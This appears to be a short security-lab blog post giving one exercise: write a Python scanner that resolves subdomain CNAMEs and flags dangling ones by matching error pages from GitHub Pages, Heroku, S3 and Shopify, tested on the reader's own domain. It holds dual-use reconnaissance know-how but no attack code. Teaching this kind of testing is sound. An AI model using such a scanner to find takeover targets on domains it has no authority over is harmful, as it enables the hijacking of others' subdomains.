Exercise 3: Write a subdomain takeover scanner in Python. The scanner should: (a) read a list of subdomains from a file, (b) resolve CNAMEs for each, (c) check if the CNAME target returns an error page indicating the resource is unclaimed (GitHub Pages 404, Heroku "no such app", AWS S3 "NoSuchBucket", Shopify "Sorry, this shop is currently unavailable", etc.), (d) flag vulnerable subdomains. Test it against your own domain with a deliberately dangling CNAME. Save the scanner to ~/lab-tools/subtakeover.py.


Here we go, till next time!

@scipio



0
0
0.000
0 comments